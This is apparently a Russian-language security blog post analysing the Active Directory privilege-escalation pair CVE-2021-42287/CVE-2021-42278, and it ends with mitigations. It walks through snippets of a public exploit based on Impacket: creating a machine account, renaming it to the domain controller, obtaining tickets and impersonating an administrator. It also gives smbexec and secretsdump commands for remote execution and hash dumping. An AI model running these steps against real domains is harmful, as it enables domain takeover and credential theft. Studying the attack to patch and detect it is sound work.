Уязвимость компонента Active Directory Domain Services
Уязвимость компонента Active Directory Domain Services
Категория: Программы Теги: Уязвимости Опубликовано: 23 мая 2025

Уязвимость BDU:2021-05914 (cve-2021-42287) Active Directory Domain Services

Уязвимость BDU:2021-05914 (cve-2021-42287) в компоненте Active Directory Domain Services (AD DS) Windows Server связана с некорректной проверкой атрибутов компьютерных учетных записей. Злоумышленник, имеющий стандартную учетную запись в домене, может изменить атрибут sAMAccountName компьютерного аккаунта, подменив его имя на имя контроллера домена (DC). Это позволяет получить Kerberos-билет (TGT), который в сочетании с другими техниками (например, CVE-2021-42278) используется для эскалации привилегий до уровня администратора домена.

Анализ уязвимости

Уровень опасности: 8.8 (HIGH)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки) – Сетевой: Уязвимость эксплуатируется через сеть.

  • AC:L (Сложность эксплуатации) – Низкая: Не требуются сложные условия.

  • PR:L (Уровень привилегий) – Требуются базовые права пользователя домена.

  • UI:N (Вовлечение пользователя) – Не требуется взаимодействие с пользователем.

  • S:U (Область воздействия) – Не оказывает влияния на другие компоненты.

  • C:H (Конфиденциальность) – Полное раскрытие информации.

  • I:H (Целостность) – Полная компрометация целостности.

  • A:H (Доступность) – Полная остановка работы системы.


Условия эксплуатации

  1. Доступ к внутренней сети: Атакующий должен находиться внутри корпоративной сети или иметь доступ к домену через VPN/LAN.

  2. Учетная запись пользователя: Требуется учетная запись с минимальными привилегиями (стандартный пользователь домена).

  3. Квота MachineAccountQuota: Значение атрибута ms-DS-MachineAccountQuota в домене должно быть больше 0 (по умолчанию 10). Это позволяет создавать компьютерные аккаунты.

  4. Доступ к LDAP/SAMR: Возможность взаимодействия с контроллером домена через протоколы LDAP или SAMR (порты 445, 636).


Анализ кода эксплоита

Общедоступный эксплоит использует связку CVE-2021-42278 и CVE-2021-42287. Рассмотрим ключевые этапы кода эксплоита для понимания работы вектора атаки с использованием уязвимости BDU:2021-05914 (cve-2021-42287):

1. Создание компьютерного аккаунта

Библиотека Impacket (класс AddComputerSAMR) используется для добавления аккаунта с случайным именем, например, SAMTHEADMIN-42$:

addmachineaccount = AddComputerSAMR(
    username, 
    password, 
    domain, 
    options,
    computer_name=new_computer_name,
    computer_pass=new_computer_password)
addmachineaccount.run()  

Это легально, если MachineAccountQuota позволяет.

2. Подмена имени через LDAP

Атрибут sAMAccountName изменяется на имя контроллера домена (например, DC01$):

ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})  

Из-за уязвимости AD DS не проверяет уникальность имени для компьютерных аккаунтов, что позволяет выдать себя за DC.

3. Получение TGT

Используется утилита GETTGT из Impacket для получения билета Kerberos:

getting_tgt = GETTGT(dc_host, new_computer_password, domain, options)  
getting_tgt.run()  

Билет сохраняется в файл .ccache.

4. Имперсонация администратора через S4U2self

Механизм S4U2self (часть Kerberos) позволяет запросить билет от имени администратора:

executer = GETST(
    None,
    None,
    domain,
    options,
    impersonate_target=random_domain_admin,
    target_spn=f"cifs/{dcfull}"
)
executer.run()  

Теперь атакующий может выполнить команды с правами выбранного администратора.


Пример эксплуатации

После получения билета запускается smbexec для выполнения команд:

KRB5CCNAME='admin.ccache' impacket-smbexec -k -no-pass dc01.domain.local  

Или дамп хэшей через secretsdump:

KRB5CCNAME='admin.ccache' impacket-secretsdump -k dc01.domain.local  

Защита от уязвимости

  1. Установка патчей: Microsoft выпустила исправления в ноябре 2021 года.

  2. Ограничение MachineAccountQuota: Установите значение ms-DS-MachineAccountQuota в 0.

  3. Мониторинг изменений: Контролируйте изменения атрибутов sAMAccountName и создание компьютерных аккаунтов.

  4. Принцип минимальных привилегий: Запретите стандартным пользователям создавать компьютерные аккаунты.

  5. Аудит Kerberos-билетов: Используйте средства вроде Windows Event ID 4769 для отслеживания аномальных запросов TGT.

Алексей Черемных Алексей Черемных
82